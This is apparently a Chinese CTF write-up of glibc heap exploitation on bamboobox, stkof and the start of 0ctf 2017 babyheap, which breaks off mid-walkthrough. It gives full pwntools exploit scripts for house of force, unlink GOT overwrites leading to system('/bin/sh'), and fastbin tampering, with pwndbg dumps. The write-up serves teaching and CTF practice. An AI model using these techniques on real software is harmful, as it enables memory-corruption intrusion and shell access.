0%

hitcontraining_bamboobox这道题有两种解题方式:

  1. house of force

    参考:house of force

  2. unlink

house of force(详解)

知识点

只要top chunk size够大,就能随意申请chunk

所以,如果有溢出能控制top chunk size,就可以修改其为-1(0xffffffff最大值),然后malloc(负数)可以向上申请,malloc(正数)

题目流程

程序一开始申请0x10的块,存放hello_message和goodbye_message的指针,而且最后在功能5中会调用goodbye_message。

image-20210424211521894

image-20210424211735644

所以,可以通过house of force修改top chunk size,然后将top chunk申请到v3里,修改v3的指针为后门函数magic的地址,然后即可get flag。

详细过程

1.申请一个chunk

为了不跟v3的大小0x10撞,选择0x30的大小。

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1a89000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x1a89020
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x1a89060
Size: 0x20fa1
1
2
3
4
5
6
7
8
9
10
pwndbg> x/30gx 0x1a89000
0x1a89000: 0x0000000000000000 0x0000000000000021#v3
0x1a89010: 0x0000000000400896 0x00000000004008b1#hello_message、goodbye_message
0x1a89020: 0x0000000000000000 0x0000000000000041#申请的chunk
0x1a89030: 0x0000000a61616161 0x0000000000000000
0x1a89040: 0x0000000000000000 0x0000000000000000
0x1a89050: 0x0000000000000000 0x0000000000000000
0x1a89060: 0x0000000000000000 0x0000000000020fa1#top chunk size
0x1a89070: 0x0000000000000000 0x0000000000000000
0x1a89080: 0x0000000000000000 0x0000000000000000

2.堆溢出修改top chunk

手动输入新top chunk为最大值0xffffffffffffffff(本质就是-1,但好像直接-1不太好使,,,)

1
2
3
4
5
6
7
8
9
10
11
Allocated chunk | PREV_INUSE
Addr: 0xc32000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0xc32020
Size: 0x41

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0xc32060
Size: 0x-1 #成功修改为-1
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0xc32000
0xc32000: 0x0000000000000000 0x0000000000000021 #v3(目的地址)
0xc32010: 0x0000000000400896 0x00000000004008b1
0xc32020: 0x0000000000000000 0x0000000000000041
0xc32030: 0x6161616161616161 0x6161616161616161
0xc32040: 0x6161616161616161 0x6161616161616161
0xc32050: 0x6161616161616161 0x6161616161616161
0xc32060: 0x0000000000000000 0xffffffffffffffff #chunk
0xc32070: 0x0000000000000000 0x0000000000000000

3.向上申请到v3的地址

向上申请块,需要malloc(负数),负数 = 0xc32000 - 0xc32060 - 0x10 = -0x70(-112)

1
2
3
4
pwndbg> heap
Top chunk | PREV_INUSE
Addr: 0xeae000 #成功修改chunk的位置
Size: 0x59
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0xeae000
0xeae000: 0x0000000000000000 0x0000000000000059#目的地址
0xeae010: 0x0000000000400896 0x00000000004008b1
0xeae020: 0x0000000000000000 0x0000000000000041
0xeae030: 0x6161616161616161 0x6161616161616161
0xeae040: 0x6161616161616161 0x6161616161616161
0xeae050: 0x6161616161616161 0x6161616161616161
0xeae060: 0x0000000000000000 0x00ffffffffffffa1
0xeae070: 0x0000000000000000 0x0000000000000000

4.申请一个块,填入内容magic

1
2
3
4
5
6
7
8
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x2034000
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x2034020
Size: 0x39
1
2
3
4
5
6
7
8
9
pwndbg> x/30gx 0x2034000
0x2034000: 0x0000000000000000 0x0000000000000021
0x2034010: 0x0000000000400d49 0x0000000000400d49 #修改成功
0x2034020: 0x0000000000000000 0x0000000000000039
0x2034030: 0x6161616161616161 0x6161616161616161
0x2034040: 0x6161616161616161 0x6161616161616161
0x2034050: 0x6161616161616161 0x6161616161616161
0x2034060: 0x0000000000000000 0x00ffffffffffffa1
0x2034070: 0x0000000000000000 0x0000000000000000

执行功能5

也就是会v3[1](),v3[1]的地址已经被修改为magic的地址,故将执行后门函数magic()

1
2
3
[DEBUG] Received 0xe bytes:
'flag{good_job}'
flag{good_job}[*] Got EOF while reading in interactive

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
p = process('./bamboobox')
context.log_level = 'debug'

magic = 0x00400D49

def show():
p.recvuntil("Your choice:")
p.sendline(str(1))

def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)

def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)

def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))

def exit():
p.recvuntil("Your choice:")
p.sendline(str(5))

alloc(0x30,"aaaa")
payload = "a" * 0x30
payload += p64(0) + p64(0xffffffffffffffff)
change(0,payload)
alloc(-112,"aaaa")
alloc(0x10,p64(magic)*2)
exit()
# gdb.attach(p)
# pause()

p.interactive()

unlink具体已经通过hitcon_2014_stkof详解学习了,但是做本题的时候,遇到了一些问题,,,记录下。

思路比较简单:

  1. unlink
  2. 修改chunk1指针为atoi_got
  3. show打印atoi地址,计算system
  4. edit修改stoi_got为system地址
  5. 重新启动的时候,发送’/bin/sh’即可执行atoi(输入的数据) => system(‘/bin/sh’)

未解决的问题

1.target取值问题

target = 0x6020c8可以

1
2
3
4
5
pwndbg> x/30gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000030 0x00000000006020b0
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000030 0x00000000022e8100
0x6020f0 <itemlist+48>: 0x0000000000000000 0x0000000000000000

但是target = 0x6020c8+0x10会导致整个脚本不可用。

难道是不能最后清零?

2.覆盖指针问题

就很奇怪,不能用puts_got表(0x602020),同样报错,其他的可以,,,

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
p = process('./bamboobox')
p=remote("node3.buuoj.cn",27073)
context.log_level = 'debug'

elf = ELF("./bamboobox")
libc = ELF("./libc-2.23.so")

atoi_got = elf.got['atoi']

def show():
p.recvuntil("Your choice:")
p.sendline(str(1))

def alloc(size,content):
p.recvuntil("Your choice:")
p.sendline(str(2))
p.recvuntil("length of item name:")
p.sendline(str(size))
p.recvuntil("name of item:")
p.sendline(content)

def change(idx,content):
p.recvuntil("Your choice:")
p.sendline(str(3))
p.recvuntil("index of item:")
p.sendline(str(idx))
p.recvuntil("length of item name:")
p.sendline(str(len(content)))
p.recvuntil("new name of the item:")
p.sendline(content)

def free(idx):
p.recvuntil("Your choice:")
p.sendline(str(4))
p.recvuntil("index of item:")
p.sendline(str(idx))

alloc(0x30,"aaaa")
alloc(0x80,"bbbb")
alloc(0x30,"cccc")

target = 0x6020c8 #not be last
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10
payload += p64(0x30) + p64(0x90)
change(0,payload)
free(1)
# x/30gx 0x6020c8

payload = p64(0) * 2
# print(hex(puts_got))
payload += p64(0x30) + p64(atoi_got)

change(0,payload)
show()
atoi_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success(hex(atoi_addr))

libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']

payload = p64(system)
change(0,payload)
p.recvuntil("Your choice:")
p.sendline("/bin/sh\x00")

# gdb.attach(p)
# pause()
p.interactive()

其实这道题比hitcon_2014_stkof详解这道题要简单,,,给了打印函数,可以直接show出来地址(无须构造puts),覆盖atoi方便,因为程序开头有atoi(输入八字节)的操作,只要覆盖atoi_got表为system地址即可get shell。

本文主要列出hitcon2014_stkof的详细过程

主要参考:unlink 系列

程序流程

  1. allocate:分配一个指定size大小的块,返回idx。

    其中块的指针信息保存在一个全局变量0x602140中

  2. fill:根据idx找到对应的块,重新给定大小size,读入内容content

  3. free:释放idx的块

漏洞分析

  1. 由于fill时候的size可以重新制定,可以造成堆溢出。
  2. 没有打印函数
  3. 有一个全局变量

方法:unlink

  1. unlink,控制全局变量内容
  2. 修改chunk1指针为free_got,修改got表内容为puts_plt
  3. 修改chunk2指针为puts_got,这样,free(2)即可打印puts地址
  4. 计算system和binsh
  5. 同2,修改got表内容为system,对未使用的chunk4填入‘binsh’
  6. free(4)即可get_shell

详细过程

0.tip(setbuf)

setbuf()/setvbuf()函数作用:关闭I/O缓冲区

一般为了让程序显示正常,会关闭I/O缓冲区

1
2
3
setbuf(stdin ,0);
setbuf(stdout,0);
setbuf(stderr,0);

但是本题没有关闭缓冲区,函数运行开始阶段在fgets()函数以及printf()函数运行的时候,会malloc()两块内存区域

1.保护

没开pie,Partial RELRO,可以修改got表内容。

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec stkof
[*] '/home/winter/buu/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.申请四个块

由于为关闭缓冲区,故程序中多出输入缓冲区和输出缓冲区。

第一个chunk,由于会加在输入输出缓冲区之间,后续无用。

第二个chunk,为了unlink前向合并

第三个chunk,大小非fastbin

第四个chunk,一个开始阶段不被改变的chunk,用于最后填入的‘/bin/sh’。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20f7000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x20f8010
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x20f8040
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x20f8450
Size: 0x41

Allocated chunk | PREV_INUSE
Addr: 0x20f8490
Size: 0x91

Allocated chunk | PREV_INUSE
Addr: 0x20f8520
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x20f8550
Size: 0x20ab1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x0000000000000000
0x20f8470: 0x0000000000000000 0x0000000000000000
0x20f8480: 0x0000000000000000 0x0000000000000000
0x20f8490: 0x0000000000000000 0x0000000000000091
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x0000000000000000 0x0000000000000031
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000

全局变量的情况,申请四个chunk的首地址记录在里面。

1
2
3
4
5
pwndbg>  x/30gx 0x602140
0x602140: 0x0000000000000000 0x00000000020f8020
0x602150: 0x00000000020f8460 0x00000000020f84a0
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

3.伪造chunk,unlink前向合并

在chunk2中伪造了一个0x20大小的已被释放的chunk,并在chunk3的pre_size中也要填入0x30

通过unlink的固定格式,进行unlink操作,即可使target的地址为target-0x18,网target地址填入数据,即可实现全局变量的控制。

1
2
3
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

伪造chunk

  • size为0x30,被释放
  • fd = target - 0x18
  • bk = target - 0x10

修改下一个chunk的pre_size(合并找到伪造的chunk)

  • pre_size = 0x30,当前chunk为0x90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x0000000000000030
0x20f8470: 0x0000000000602138 0x0000000000602140
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x0000000000000000 0x0000000000000031
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000

free后造成合并,unlink,在chunk2中填入了target-0x18

1
2
3
4
5
pwndbg> x/30gx 0x602140
0x602140: 0x0000000000000000 0x00000000020f8020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000

heap里面看不出来,,,因为地址不对,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x20f7000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x20f8010
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x20f8040
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x20f8450
Size: 0x41

Allocated chunk
Addr: 0x20f8490
Size: 0x90

Allocated chunk
Addr: 0x20f8520
Size: 0x30

Top chunk | PREV_INUSE
Addr: 0x20f8550
Size: 0x20ab1

但是已经成功合并释放了,起始地址为伪造的chunk开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x20f8460 —▸ 0x7fbcdd959b78 (main_arena+88) ◂— 0x20f8460
smallbins
empty
largebins
empty

伪造的chunk大小变为0xc0(0x30+0x90)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x/50gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0000000000000000 0x0000000000000000
0x20f8540: 0x0000000000000000 0x0000000000000000
0x20f8550: 0x0000000000000000 0x0000000000020ab1
0x20f8560: 0x0000000000000000 0x0000000000000000
0x20f8570: 0x0000000000000000 0x0000000000000000

4. 修改全局变量的值

通过unlink技术得到的部分地址读写能力,可以修改chunk1的指针为free_got,chunk2的指针为puts_got,接下来对chunk1和chunk2的内容进行的修改,本质都是修改两个got表

1
2
3
4
5
6
pwndbg> x/30gx 0x602130
0x602130: 0x0000000000000000 0x6161616161616161
0x602140: 0x6161616161616161 0x0000000000602018
0x602150: 0x0000000000602020 0x0000000000000000
0x602160: 0x00000000020f8530 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
1
2
3
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007fbcdd619540 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786

5.获取打印功能,泄露地址

由于前面已经修改chunk1的指针为got表指针,所以,直接fill chunk1的内容为puts_plt,那么free()时就是执行puts函数,从而泄露地址。

由于chunk2的指针已经为puts_got,所以free(2)就是puts(puts函数的got表)

1
2
3
4
5
6
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x0000000000400760 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786

pwndbg> x/30gx 0x0000000000400760
0x400760 <puts@plt>: 0x0168002018ba25ff 0xffffffd0e9000000

泄露成功,可以计算libc基址、system函数地址

1
2
3
4
5
6
[DEBUG] Received 0x7 bytes:
00000000 a0 46 60 dd bc 7f 0a │·F`·│···│
00000007

pwndbg> x/30gx puts
0x7fbcdd6046a0 <_IO_puts>:

6.free->system,块内容“/bin/sh”

同5,再次fill chunk1内容为system的地址,然后执行free函数就是执行system函数。

对未使用的chunk4填入“/bin/sh”内容,free(4)即可执行system(“/bin/sh”)

1
2
3
4
5
6
pwndbg> x/30gx 0x0000000000602018
0x602018 <free@got.plt>: 0x00007fbcdd5da3a0 0x00007fbcdd6046a0
0x602028 <fread@got.plt>: 0x00007fbcdd6031b0 0x0000000000400786

pwndbg> x/30gx 0x00007fbcdd5da3a0
0x7fbcdd5da3a0 <__libc_system>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0000000000000000 0x0000000000000000#chunk4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> x/30gx 0x20f8450
0x20f8450: 0x0000000000000000 0x0000000000000041
0x20f8460: 0x0000000000000000 0x00000000000000c1
0x20f8470: 0x00007fbcdd959b78 0x00007fbcdd959b78
0x20f8480: 0x6161616161616161 0x6161616161616161
0x20f8490: 0x0000000000000030 0x0000000000000090
0x20f84a0: 0x0000000000000000 0x0000000000000000
0x20f84b0: 0x0000000000000000 0x0000000000000000
0x20f84c0: 0x0000000000000000 0x0000000000000000
0x20f84d0: 0x0000000000000000 0x0000000000000000
0x20f84e0: 0x0000000000000000 0x0000000000000000
0x20f84f0: 0x0000000000000000 0x0000000000000000
0x20f8500: 0x0000000000000000 0x0000000000000000
0x20f8510: 0x0000000000000000 0x0000000000000000
0x20f8520: 0x00000000000000c0 0x0000000000000030
0x20f8530: 0x0068732f6e69622f 0x0000000000000000#chunk4填入“/bin/sh”

pwndbg> x/10s 0x20f8530
0x20f8530: "/bin/sh"

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = process('./stkof')
p=remote("node3.buuoj.cn",28999)
context.log_level = 'debug'

elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")

def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")

def free(idx):
p.sendline(str(3))
p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)

target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10

payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)

payload = "a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)

payload = p64(puts_plt)
fill(1,payload)
free(2)

puts_addr = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.success(hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search("/bin/sh").next()

log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))

payload = p64(system)
fill(1,payload)

fill(4,'/bin/sh\x00')
free(4)

p.interactive()

这道题其实是第二次做了,还比较顺。思路比第一次更清晰了(第一次分析)。

unlink主要适用于存在堆溢出和全局变量的情况。

本文主要列出0ctf_2017_babyheap的详细过程

主要参考:https://bbs.pediy.com/thread-223461.htm

程序流程

  1. allocate:申请size大小的块
  2. fill:对idx的块,设置size,并填入content
  3. free:释放idx的块
  4. dump:打印idx的块内容

漏洞分析

fill中的size可以重新设置,故可以造成堆溢出。

方法:fastbin attack

  1. double free泄露libc

    【small/large chunk释放,fd和bk指向main_arena】

  2. fastbin attack写malloc_hook为one_gadget

详细过程

1.保护

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec 0ctf_2017_babyheap 
[*] '/home/winter/buu/0ctf_2017_babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.申请初始块

四个0x10、一个0x80

第0个块作用:方便修改第1、2块

第3个块作用:方便修改0x80的块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x0000000000000000 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000

3.释放1、2块

为double free做准备,其中 块2指向块1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

#1
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21
fd: 0x00

#2
#指向块1,先进后出
Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6020

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x5614ee1f6110
Size: 0x20ef1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6020 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60f0: 0x0000000000000000 0x0000000000000000
0x5614ee1f6100: 0x0000000000000000 0x0000000000000000
0x5614ee1f6110: 0x0000000000000000 0x0000000000020ef1
0x5614ee1f6120: 0x0000000000000000 0x0000000000000000
0x5614ee1f6130: 0x0000000000000000 0x0000000000000000
0x5614ee1f6140: 0x0000000000000000 0x0000000000000000
0x5614ee1f6150: 0x0000000000000000 0x0000000000000000
0x5614ee1f6160: 0x0000000000000000 0x0000000000000000
0x5614ee1f6170: 0x0000000000000000 0x0000000000000000
0x5614ee1f6180: 0x0000000000000000 0x0000000000000000

4.令释放块2指向块4

通过漏洞fill堆溢出,修改块2里指向块1的低地址,修改为0x80,即可使得块2指向块4

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000091
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000

5.为绕过检测,修改块4:0x80->0x10

溢出实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/50gx 0x5614ee1f6000
0x5614ee1f6000: 0x0000000000000000 0x0000000000000021
0x5614ee1f6010: 0x0000000000000000 0x0000000000000000
0x5614ee1f6020: 0x0000000000000000 0x0000000000000021
0x5614ee1f6030: 0x0000000000000000 0x0000000000000000
0x5614ee1f6040: 0x0000000000000000 0x0000000000000021
0x5614ee1f6050: 0x00005614ee1f6080 0x0000000000000000
0x5614ee1f6060: 0x0000000000000000 0x0000000000000021
0x5614ee1f6070: 0x0000000000000000 0x0000000000000000
0x5614ee1f6080: 0x0000000000000000 0x0000000000000021
0x5614ee1f6090: 0x0000000000000000 0x0000000000000000
0x5614ee1f60a0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60b0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60c0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60d0: 0x0000000000000000 0x0000000000000000
0x5614ee1f60e0: 0x0000000000000000 0x0000000000000000

修改成功,但是由于chunk4的大小修改了,故找不到top chunk了,故后期需要把大小:0x10->0x80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6020
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6040
Size: 0x21
fd: 0x5614ee1f6080

Allocated chunk | PREV_INUSE
Addr: 0x5614ee1f6060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x5614ee1f6080
Size: 0x21
fd: 0x00

